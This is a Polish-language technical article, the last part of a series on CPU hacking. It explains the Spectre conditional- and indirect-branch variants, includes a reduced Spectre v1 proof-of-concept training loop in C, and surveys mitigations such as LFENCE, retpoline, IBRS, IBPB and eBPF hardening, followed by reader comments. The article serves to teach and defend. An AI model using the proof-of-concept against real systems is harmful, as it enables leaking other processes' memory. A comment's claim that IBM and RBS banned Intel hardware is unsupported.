Zwieńczeniem cyklu o hakowaniu procesorów jest omówienie dwóch typów podatności nazywanych Spectre. Prezentujemy exploity, tłumaczymy sposób ich działania i wyjaśniamy, jakie kroki podjęli producenci.
Autorami artykułu są Michał Leszczyński i Michał Purzyński.
Poprzednie części cyklu:
- odcinek 1: optymalizacje
- odcinek 2: side channel
- odcinek 3: meltdown
Spectre to rodzina błędów polegających na możliwości sterowania spekulacyjnym wykonaniem kodu. Istnieje możliwość wpuszczenia obcego procesu w określoną ścieżkę wykonania, która później spowoduje wyciek jego pamięci poprzez boczny kanał. Prawdopodobnie dotyczy to wszystkich producentów procesorów, które wspierają speculative execution, czyli wykonywanie spekulatywne, m.in. x86 (Intel, AMD, VIA), ARM (Samsung, Qualcomm, inni). Co ciekawe, na rynku są procesory obsługujące out of order execution (wykonywanie poza kolejnością), ale nie spekulacje (np. niektóre ARM) i nie są one podatne.
Co ciekawe, ten sam atak działa również na jądro systemu, a nawet na hiperwizor.
Conditional branch poisoning
Weźmy pod uwagę taki kod:
unsigned int array1_size = 16; // +align uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // +align uint8_t array2[256 * 512]; uint8_t temp = 0; void victimFunction(size_t x) { if (x < array1_size) temp &= array2[array1[x] * 512]; }
warunek zostanie zrealizowany przez kompilator jako skok warunkowy, zależny od wartości x.
_Z14victimFunctionm: .LFB1048: .cfi_startproc ; załaduj array1_size z pamięci do rejestru eax mov eax, DWORD PTR array1_size[rip] ; porównaj array1_size z wartością “x” z argumentu cmp rax, rdi ; skocz do L1 jeżeli array1_size <= x jbe .L1 ; zapisz wartość array1[x] do rejestru eax movzx eax, BYTE PTR array1[rdi] ; eax *= 512; sal eax, 9 cdqe ; odczytaj wartość z array2 do eax movzx eax, BYTE PTR array2[rax] ; temp &= eax (ochrona przed optymalizacją) and BYTE PTR temp[rip], al .L1: rep ret .cfi_endproc
Atak Spectre w stosunku do skoków warunkowych wygląda następująco:
- Kilkukrotnie wywołujemy funkcję
victimFunction(x)
, podając wartość x zgodną z zakresem tablicy, w ten sposób trenujemy branch predictor, że skokjbe .L1
prawdopodobnie nie zostanie wykonany. - Wywołujemy victimFunction(x) z wartością spoza zakresu, procesor spekulacyjnie wykona instrukcję:
temp &= array2[array1[x] * 512];
- Nastąpi odczyt bajtu znajdującego się poza tablicą
array1
(za wysoka wartośćx
), następnie informacja zostanie zapisana do bocznego kanału używającegoarray2
jako probe array.
Zapis informacji do bocznego kanału wspominany w kroku #3 został szczegółowo omówiony w drugiej części artykułu i działa analogicznie jak w przypadku ataku Meltdown.
Proof of concept
Pełna instrumentacja ataku wygląda następująco:
Proof of concept ataku Spectre zredukowany do części wykonawczej. Oryginalny kod pochodzi z publikacji na temat Spectre.
unsigned int array1_size = 16; // +align uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 }; // +align uint8_t array2[256 * 512]; uint8_t temp = 0; void victimFunction(size_t x) { if (x < array1_size) temp &= array2[array1[x] * 512]; } void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) { for (int tries = 999; tries > 0; tries--) { // ... flush array2 z cache ... // 30 iteracji, 5 wywołań treningowych (training_x) przed każdym atakiem (malicious_x) size_t training_x = tries % array1_size; for (int j = 29; j >= 0; j--) { _mm_clflush(&array1_size); for (volatile int z = 0; z < 100; z++) {} // bariera pamięci (może być też MFENCE) // magia bitowa równoważna z x = (j % 6 != 0) ? training_x : malicious_x // chcemy uniknąć skoków, żeby nie zmylić branch predictora size_t x = ((j % 6) - 1) & ~0xFFFF; // set x = (j % 6 == 0) ? FFF.FF0000 : 0 x = (x | (x >> 16)); // x = (j & 6 == 0) ? -1 : 0 x = training_x ^ (x & (malicious_x ^ training_x)); // odwołanie do funkcji-ofiary victimFunction(x); } // ... sondowanie array2 celem odczytania bitu z side channelu ... // ... ocena powtarzalności wyników ... // ... akceptacja po przekroczeniu progu powtarzalności ... } }
Indirect branch poisoning
Drugim, jeszcze ciekawszym wariantem Spectre jest możliwość atakowania skoków niebezpośrednich (np. jmp rax). Mechanizm branch predictora (modułu przewidywania skoków), obecny w procesorze, zapisuje ostatni znany adres skoku do specjalnej pamięci podręcznej nazywanej Branch Target Buffer (BTB).
Branch predictor można wytrenować w taki sposób, aby doprowadzić do spekulowanego skoku do lokacji kontrolowanej przez atakującego. Analogicznie jak w poprzednim przykładzie, złośliwy kod może odczytać informacje z przestrzeni atakowanego procesu i zapisać ją do bocznego kanału.
Załóżmy, że taki atak przeprowadzamy w systemie Windows. Stosunkowo dobrym celem są współdzielone biblioteki DLL, które są załadowane we wszystkich procesach. Ponadto konkretna biblioteka w przestrzeni każdego procesu jest mapowana pod tym samym adresem wirtualnym. Wynalazcy Spectre zaobserwowali, że w większości procesorów BTB jest kluczowany wyłącznie za pomocą adresu wirtualnego, jego części albo hasha jego części. Skoro kilka różnych procesów ma dostęp do tej samej biblioteki pod tym samym adresem wirtualnym, jeden z nich może wytrenować branch predictor w celu osiągnięcia pożądanego zachowania. Kiedy inny proces “przejdzie” przez ten kawałek kodu, dojdzie do spekulacyjnego skoku pod adres, który został wcześniej wytrenowany. Instrukcje znajdujące się pod tym adresem mogą przeczytać pamięć procesu i zapisać ją do bocznego kanału, z czego później skorzysta inny proces.
Aspekty takiego ataku są dosyć podobne do techniki znanej jako Return-Oriented Programming (ROP), z tym że w klasycznym ujęciu wykorzystujemy jakieś konkretne podatności w oprogramowaniu. W przypadku ataku Spectre wykonujemy ROP na poziomie samego procesora, musimy jedynie znaleźć odpowiednie “gadżety”, które wystarczająco szybko odczytają coś z pamięci procesu i zapiszą informację do bocznego kanału.
Patch
Jedynym prawidłowym rozwiązaniem problemu Spectre jest ograniczenie całej historii powiązanej z branch prediction do konkretnego kontekstu w taki sposób, aby jeden z nich nie miał jakiegokolwiek wpływu na spekulacje wykonywane w innych kontekstach. Kompleksowe rozwiązanie problemu wymaga poprawek w sprzęcie, istotne jest również zabezpieczenie JIT-ów i hiperwizorów.
Przeglądarki
Firefox, Chrome, Safari były podatne na atak Spectre pierwszego typu za pomocą kodu JavaScript. W przeglądarkach tych wyeliminowano niektóre funkcje z API, które mogłyby być pomocne dla atakującego, oraz zmniejszono dokładność, z jaką może być dokonywany pomiar czasu przez kod JS, co jest potrzebne do przeprowadzenia ataku.
Ponadto, w silniku V8 zastosowano maskowanie adresów przed dostępem do pamięci, aby upewnić się, że spekulacyjne wykonanie nie odwoła się do adresu spoza sterty silnika.
LFENCE
Aby wyeliminować atak Spectre pierwszego typu, zaleca się wstawienie instrukcji LFENCE pomiędzy sprawdzenie, czy adres, z którego chcemy przeczytać wartość, leży w poprawnym zakresie. Powoduje to zatrzymanie spekulacji, dopóki nie będzie wiadomo, czy wykonać kod warunkowy, czy nie.
Poprzedni przykład po zmodyfikowaniu wyglądałby to tak:
void victimFunction(size_t x) { if (x < array1_size) // tutaj wstawiamy LFENCE, CPU będzie czekał na poprzednią linijkę temp &= array2[array1[x] * 512]; }
czyli w asemblerze:
_Z14victimFunctionm: .LFB1048: .cfi_startproc ; załaduj array1_size z pamięci do rejestru eax mov eax, DWORD PTR array1_size[rip] ; poczekaj i nie spekuluj LFENCE ; porównaj array1_size z wartością “x” z argumentu cmp rax, rdi ; skocz do L1 jeżeli array1_size <= x jbe .L1
Zmiany tego typu zostały włączone do jądra Linuksa w ponad stu (!!) miejscach na wielu architekturach za pomocą makr nospec_ptr() oraz podobnych.
Nadmienić tu trzeba, że analogiczne zmiany wymagane są dla programów i bibliotek działających w przestrzeni użytkownika, a ich przekompilowanie za pomocą najnowszych wersji kompilatorów potrwa miesiące, jeśli nie lata.
Retpoline
Jedną z propozycji od Google’a jest wprowadzenie “trampoliny powrotów”, która potrafi zmylić mechanizm spekulacyjnego wykonania w niektórych procesorach i skierować go do nieskończonej pętli, jednocześnie umożliwiając wykonanie kodu w “normalnym” trybie. Efektywnie wyłącza to spekulację tam, gdzie spodziewamy się, że mogłaby ona być “zatruta”.
Przykładowo każdą instrukcję skoku niebezpośredniego, tj.:
jmp r11
będzie trzeba zamienić na:
call set_up_target capture_spec: pause jmp capture_spec set_up_target: ; nie powoduje zmiany wpisu w RSB ; niezrozumiałe dla speculative execution mov [rsp], r11 ret
Mechanizm spekulacyjnego wykonania samodzielnie śledzi wywołania funkcji i podczas wchodzenia do nich zapisuje adresy powrotu w specjalnym buforze (Return Stack Buffer, RSB). Jest to mechanizm całkowicie równoległy do standardowego stosu, który na niektórych procesorach nie przewiduje, że funkcja podmieni swój własny adres powrotu. W związku z tym instrukcja mov [rsp], r11
jest niezrozumiała dla spekulacyjnego wykonania.
Takie rozwiązanie funkcjonuje w jądrach systemów. Konieczne byłoby także przekompilowanie niemal wszystkich programów i bibliotek znajdujących się w przestrzeni użytkownika, aby osiągnąć poziom ochrony zbliżony do zabezpieczeń omawianych w dalszej części artykułu.
Utwardzanie JIT
Prezentowany PoC drugiego wariantu Spectre wykorzystywał silnik eBPF do wstrzyknięcia pasującego bajtkodu, aby go później wykorzystać do konstrukcji gadżetów. Autorzy twierdzą, że znalezienie odpowiednich gadżetów byłoby możliwe także bez eBPF, a sama jego obecność nieco uprościła atak.
Trudno traktować to jako podatność w BPF, z wyjątkiem drobnego szczegółu – silnik BPF umożliwiał ładowanie dowolnego kodu bez jego weryfikacji. Taki kod nigdy by się nie wykonał, a i jego wywołanie z poziomu VM nie byłoby możliwe, w ten sposób jednak PoC “przyniósł wszystkie potrzebne gadżety ze sobą”.
Kod eBPF został znacząco zmodyfikowany. Jeśli opcja BPF_JIT_ALWAYS_ON
jest włączona, wykorzystany przez PoC interpreter zostaje usunięty z kernela i nie jest już możliwe ładowanie dowolnego kodu eBPF. Jedyne, na co jądro pozwoli, to na załadowanie instrukcji, którepoprawnie “kompilują” się do bajtkodu. Wygenerowany bajtkod zostanie umieszczony w przypadkowej lokalizacji, utrudniając jego znalezienie przez exploit (co wymagałoby innego wycieku informacji o adresach), a tym samym znalezienie gadżetów.
Jeśli sysctl net.core.bpf_jit_harden jest ustawiony na 1 (a najlepiej 2), włączona zostaje także opcja constant blinding (która sama w sobie byłaby tematem na serię artykułów).
Odpowiedź autorów KVM była natychmiastowa i skuteczna. KVM czyści rejestry, które służyły do przekazania parametrów w PoC wariantu drugiego przy przejściu z systemu gościa do systemu gospodarza.
Mitygacje na poziomie sprzętowym
Podatność Spectre V2 bazuje na fundamentach działania procesorów i jako taka nie może zostać łatwo, jeśli w ogóle, załatana. Producenci procesorów poradzili sobie z problemem, implementując dodatkową funkcjonalność (najczęściej w mikrokodzie), która uniemożliwia lub utrudnia wykonanie ataku. Zaznaczyć tutaj należy, że żadne z tych “rozwiązań” nie jest niczym innym jak próbą obejścia problemu – o czym najlepiej świadczy burzliwa reakcja Linusa na LKML. Z drugiej strony, są to najlepsze możliwe mechanizmy, jakie dało się zaimplementować w microcode.
IBRS
Indirect Branch Restricted Speculation dodaje dodatkowy bit w rejestrze MSR. Ustawienie tego bitu (jest on bezstanowy) powoduje, że proces działający na wyższym poziomie uprawnień przy skoku niebezpośrednim (lub powrocie, po “ret”) nie weźmie pod uwagę wpisów w Branch Target Buffer pochodzących z procesu na niższym poziomie uprawnień, ale tylko tych od czasu, gdy bit ten został ustawiony na “1”.
To nieco zagmatwane wyjaśnienie było przez długi czas jedynym, jakie zaoferował Intel, powodując ogromne problemy implementacyjne. Pomysł Intela polega na tym, żeby ustawiać ten bit natychmiast po przejściu z przestrzeni użytkownika do jądra systemu lub z jądra systemu gościa do hiperwizora, zapobiegając w ten sposób wczytaniu BTB przygotowanego przez atakującego przez proces na wyższym poziomie uprawnień.
Przełączenie się do przestrzeni jądra wyglądałoby więc tak:
- skocz do przestrzeni jądra (na skutek wywołania systemowego, przerwania etc),
- ustaw IBRS w MSR,
- wykonaj kod jądra.
I tak za każdym razem. Sam zapis do MSR jest wolny, dodatkowo nie wiemy dokładnie, jak działa IBRS “w środku”.
Uważnie czytając, można dojść do (poprawnego) wniosku, że mechanizm ten nie zabezpiecza przed atakami pomiędzy aplikacją A i B, działającymi na tym samym poziomie uprawnień. Nie stanowi również ochrony przed atakami pomiędzy maszynami wirtualnymi.
IBRS jest obecny w RHEL 7.4 oraz w najnowszych Ubuntu i jest domyślnie aktywowany, gdy jądro wykryje odpowiednią wersję microcode.
Dyskusje nad przyszłością IBRS w Linuksie trwają i zmiany nie zostały włączone do jądra. Z setek godzin na LKML oraz prywatnych źródeł wiemy, że Linux nie będzie używał IBRS, a raczej retpoline (które jest już włączone), co w połączeniu z tzw. RSB stuffingiem (o czym niżej) i czyszczeniem rejestrów przed instrukcją “ret” skutecznie zapobiega atakom, unikając ogromnego obniżenia wydajności.
IBRS jest obecne w Windowsie, gdzie jest domyślnie wyłączone.
IBPB
Indirect Branch Prediction Barrier czyści BTB. Jest to operacja jeszcze bardziej kosztowna niż IBRS, zapewniająca większy poziom bezpieczeństwa. Mechanizmu tego można używać zamiast IBRS lub razem z nim tam, gdzie IBRS nie działa.
Możliwe, że IBPB będzie używany przy:
- przełączaniu się pomiędzy aplikacjami,
- przełączaniu się pomiędzy maszynami wirtualnymi,
- przechodzeniu z trybu maszyny wirtualnej do hiperwizora w niektórych przypadkach.
Teoretycznie IBPB mógłby być używany również przy przechodzeniu do jądra systemu i z powrotem, zamiast IBRS, jest jednak od niego wolniejszy. Obydwa te mechanizmy mają ciekawy status, gdzie są włączone, a gdzie nie:
- Windows – IBRS + IBPB zaimplementowane i wyłączone,
- Linux vanilla – patche na LKML, trwają prace nad używaniem IBPB jedynie wtedy, gdy nie ma innego wyjścia,
- RHEL i Ubuntu – zaimplementowane, domyślnie włączone, jeśli microcode wspiera,
- OS X – brak implementacji.
Co zamiast
Żeby nie było zbyt łatwo – w trakcie implementacji retpoline okazało się, że niektóre procesory, jak Broadwell lub Skylake (i późniejsze), w kilku przypadkach przy braku wystarczająco długiej historii w RSB zaczną pobierać wpisy z BTB, co stanowi dokładne odwrócenie tego, co robi retpoline. Na tym nie koniec, Skylake potrafi wyrzucić wszystkie wpisy z RSB, np. przy obsłudze przerwania lub SMI, po czym zacznie szukać w BTB.
Na tych procesorach retpoline nie byłoby skuteczne.
Intel zaimplementował zmiany w microcode dla Broadwell, który wyłącza tryb “nie znalazłem nic ciekawego w RSB, poszukam sobie w BTB”.
Dla Skylake jest to niemożliwe, więc wykorzystano mechanizm RSB stuffing,czyli “wypychania” RSB fałszywymi wpisami, aby wyeliminować przełączanie się pomiędzy RSB a BTB.
W przyszłości Intel planuje wprowadzić tryb “ulepszonego IBRS”, czyli mitygacji włączonej na stałe. Szczegóły nie są znane, poza tym, że nie trzeba będzie IBRS włączać i wyłączać. Nie spotkało się to z pozytywną reakcją Linusa, który z typową dla siebie ekspresją skomentował to jako akceptację popsutych mechanizmów i brzydkie próby obejścia problemu.
Podsumowanie
Seria artykułów “Hakowanie procesorów” stanowiła próbę wyjaśnienia istoty podatności Meltdown i Spectre “od podstaw”. Ten artykuł zaprezentował podatności związane ze spekulacyjnym wykonaniem oraz rozmaite łatki zaproponowane przez różne zespoły badawcze. Mamy nadzieję, że artykuły okazały się pomocnym zasobem.
Komentarze
Brawo za te artykuły. Nie łatwo jest przygotować taki porządny materiał. BRAWO!
” Ponadto konkretna biblioteka w przestrzeni każdego procesu jest mapowana pod tym samym adresem wirtualnym.” – z doświadczenia wiem, że tak nie jest. Czasami biblioteka wyląduje pod innym adresem, gdy za pomocą VirtualAlloc zajmie się odpowiedni adres, a to jest możliwe. Te które są praktycznie zawsze w tym samym miejscu to (zawsze) kernel32.dll oraz bardzo często user32.dll, jednak tą udało mi się w procesie przesunąć. Jak – pozostawiam do swojej wiedzy.
Jednak faktem jest, że z dużym prawdopodobieństwem mapowane biblioteki będą pod ten sam adres.
Na ile procesor zamiast retpoline jest w stanie zmylić CALL +0, (aka PUSHD EIP)? Jeżeli jest w stanie, czy wystarczy w jednej dłuższej pętli wstawić CALL +0 oraz ADD ESP, 4?
Zachęcam do napisania PoCa i sprawdzenia ;) ciężko cokolwiek powiedzieć w tej materii od strony „teoretycznej”.
dzieki za art. brzmi ciekawie, ale i do jasnej *(&^(&^(&^%(&^%&^^%$
Linus ma racje. To co powinien robic procesor powinien robic procesor a nie kernel. I po prostu nie ma co cudowac, ale zrobic porzadnie procesor. Odseparowac to co trzeba, jak jest tryb kernela to ma byc odseparowany i tyle.
reszta to malowanie szminka trupa wyciagnietego po 2 miesiacach z wody
To racja, ale jest presja na załatanie problemu softwarowo (soft „nic nie kosztuje”) – wymiana wszystkich procesorów na całym świecie trochę przekracza możliwości produkcyjne Intela i AMD ;) Tego typu inwestycje też raczej nie są pożądane przez użytkowników, szczególnie że są spore kontrowersje na temat tego „kto zawinił”…
Warto dodac ze np IBM oraz RBS wycofaly ze swojego sprzetu Intela i aktualnie jest zbanowany, zaden serwer nie stoi na intelu i jest zakaz stawiania czegokolwiek. Jak AMD sie teraz postara to jeszcze przegoni intela.